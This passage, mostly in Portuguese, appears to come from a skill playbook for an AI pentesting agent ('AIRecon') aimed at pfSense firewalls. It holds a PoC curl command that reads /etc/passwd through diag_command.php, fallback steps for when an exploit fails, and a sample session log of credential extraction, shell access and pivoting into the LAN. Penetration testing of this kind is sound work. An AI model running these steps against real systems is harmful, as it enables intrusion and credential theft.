→ Auto-load: pentest-network-scanning/SKILL.md
→ MCP Tools: nmap_scan, nuclei_scan, cve-mcp lookup_cve
→ Slash Commands: /naabu-scan, /cve-test

User: "Test CVE-2025-53392 on firewall"
→ Auto-load: pentest-pfsense/SKILL.md
→ Auto-load: pentest-vulnerability-analysis/SKILL.md
→ MCP Tools: cve-mcp lookup_cve, check_exploit_availability
→ Slash Commands: /cve-test

User: "Check for terrapin attack on SSH"
→ Auto-load: pentest-pfsense/SKILL.md
→ Auto-load: pentest-network-scanning/SKILL.md
→ MCP Tools: nmap_advanced_scan (ssh2-enum-algos)
→ Slash Commands: /ssh-scan
```

### 6. Consolidação de Resultados

**Exemplo de Report Integrado:**
```bash
# Gerar report consolidado
airecon --target 192.168.1.1 --mode manual \
  --objective "Generate comprehensive pfSense pentest report with: 1) Executive summary 2) Technical findings 3) CVE details with EPSS scores 4) PoC evidence 5) Remediation recommendations"

# Exportar findings para formatos externos
# OWASP Nettacker JSON
airecon --export nettacker-json --output pfsense-findings.json

# WorstAssume IAM findings (se aplicável)
airecon --export worstassume --output pfsense-iam.json

# CSV para planilhas
airecon --export csv --output pfsense-findings.csv
```

**Template de Finding AIRecon:**
```json
{
  "vulnerability": "CVE-2025-53392",
  "title": "Arbitrary File Read via diag_command.php",
  "severity": "HIGH",
  "cvss": "6.5",
  "epss": "0.45",
  "target": "192.168.1.1",
  "endpoint": "/diag_command.php",
  "evidence": "POST cmd=cat+/etc/passwd returned passwd contents",
  "poc": "curl -sk -b cookies.txt https://TARGET/diag_command.php -d 'cmd=cat+/etc/passwd'",
  "remediation": "Update pfSense to version with fix. Restrict access to diag_command.php. Implement input validation.",
  "detected_by": "AIRecon + cve-mcp lookup_cve",
  "verified_by": "Manual testing with curl"
}
```

### 7. Tratamento de Erros e Retry

**Fallback Strategies:**
```bash
# Se AIRecon falhar, usar tools diretos
if airecon fails:
  → Fallback: mcp hexstrike-local nikto_scan
  → Fallback: mcp hexstrike-local nuclei_scan --tags pfsense
  → Fallback: Manual curl requests

# Se CVE test falhar, verificar via banner
if cve-test fails:
  → Check HTTP headers: Server: pfsense/2.7.2
  → Check SSL certificate: CN=pfsense
  → Check login page: pfSense® logo
  → Check default ports: 2122 (SSH)

# Se exploração falhar, tentar bypass
if exploit fails:
  → Try alternative payload encoding
  → Try different HTTP method (GET vs POST)
  → Try with valid session cookie
  → Try from internal network segment
```

**Retry Logic:**
```bash
# Retry com delay exponencial
airecon --target 192.168.1.1 --retry 3 --retry-delay 5 \
  --objective "Test pfSense CVEs with exponential backoff on failure"

# Retry com timeout ajustado
airecon --target 192.168.1.1 --timeout 300 \
  --objective "Long-running pfSense assessment with 5-minute timeout per test"
```

### 8. Exemplo de Sessão Completa

```bash
# Sessão de pentest pfSense com AIRecon

# 1. Detecção inicial
$ airecon --target 192.168.1.1 --mode manual --dry-run
[AIRecon] Detecting pfSense firewall...
[AIRecon] HTTP Headers: Server: pfsense/2.7.2
[AIRecon] SSL Cert: CN=pfsense.localdomain
[AIRecon] Login Page: pfSense® detected
[AIRecon] SSH Banner: SSH-2.0-OpenSSH_8.9p1 FreeBSD-20230921
[AIRecon] ✅ pfSense 2.7.2 detected

# 2. Enumeração de CVEs
$ airecon --target 192.168.1.1 --mode asm
[AIRecon] Loading pentest-pfsense skill...
[AIRecon] Loading cve-mcp tools...
[AIRecon] Testing CVE-2025-53392...
[cve-mcp] CVE-2025-53392: CVSS 6.5, EPSS 0.45 (75th percentile)
[AIRecon] Testing /diag_command.php endpoint...
[AIRecon] ✅ VULNERABLE: File read successful
[AIRecon] Testing CVE-2022-40624...
[cve-mcp] CVE-2022-40624: CVSS 9.8, EPSS 0.87 (98th percentile)
[AIRecon] Checking for pfBlockerNG package...
[AIRecon] ❌ pfBlockerNG not installed
[AIRecon] Testing CVE-2023-42326...
[AIRecon] Checking interface configuration...
[AIRecon] ❌ Not vulnerable (patched)
[AIRecon] Testing CVE-2023-48795 (Terrapin)...
[AIRecon] SSH algorithms: chacha20-poly1305@openssh.com detected
[AIRecon] ⚠️ POTENTIALLY VULNERABLE: Verify with ssh-audit

# 3. Exploração
$ airecon --target 192.168.1.1 --mode bugbounty
[AIRecon] Exploiting CVE-2025-53392...
[AIRecon] Reading /etc/passwd...
[AIRecon] Reading /conf/config.xml...
[AIRecon] ✅ Extracted admin credentials
[AIRecon] Establishing session...
[AIRecon] ✅ Shell access obtained

# 4. Post-exploitation
$ airecon --target 192.168.1.1 --mode ctf
[AIRecon] Enumerating internal network...
[AIRecon] LAN: 192.168.1.0/24
[AIRecon] WAN: 203.0.113.0/24
[AIRecon] OpenVPN: 10.8.0.0/24
[AIRecon] Extracting credentials...
[AIRecon] Found: admin:pfsense, user2:password123
[AIRecon] Pivoting to LAN...
[AIRecon] ✅ Access to 192.168.1.100

# 5. Report
$ airecon --target 192.168.1.1 --mode manual --objective "Generate report"
[AIRecon] Generating executive summary...
[AIRecon] Generating technical findings...
[AIRecon] Adding CVE details with EPSS scores...
[AIRecon] Adding PoC evidence...
[AIRecon] Adding remediation recommendations...
[AIRecon] ✅ Report saved: pfsense-report-20260503.md
```

---

## Referências

- **pfSense Security Advisories:** https://docs.netgate.com/pfsense/en/latest/releases/security-fixes.html
- **PTES:** http://www.pentest-standard.org/index.php/Main_Page
- **OWASP Testing Guide:** https://owasp.org/www-project-web-security-testing-guide/
- **CVE-2022-31814:** pfBlockerNG RCE — https://nvd.nist.gov/vuln/detail/CVE-2022-31814
- **CVE-2023-42326:** pfSense Command Injection — https://nvd.nist.gov/vuln/detail/CVE-2023-42326, https://www.sonarsource.com/blog/pfsense-analysis/
- **Nuclei pfSense templates:** https://github.com/projectdiscovery/nuclei-templates/tree/main/technologies
- **Código-fonte pfSense:** https://github.com/pfsense/pfsense
  - `globals.inc:62` - Default credentials
  - `auth.inc:52-63` - Lockout mechanism
  - `xmlrpc.php:138-158` - XMLRPC methods
  - `diag_command.php:174` - Command execution
  - `priv.defs.inc` - Privilege definitions
  - `pkg-utils.inc` - Package management
  - `captiveportal.inc` - Captive portal logic
  - `filter.inc` - Firewall rules
  - `interfaces.inc` - Interface configuration
  - `vpn.inc` - VPN services
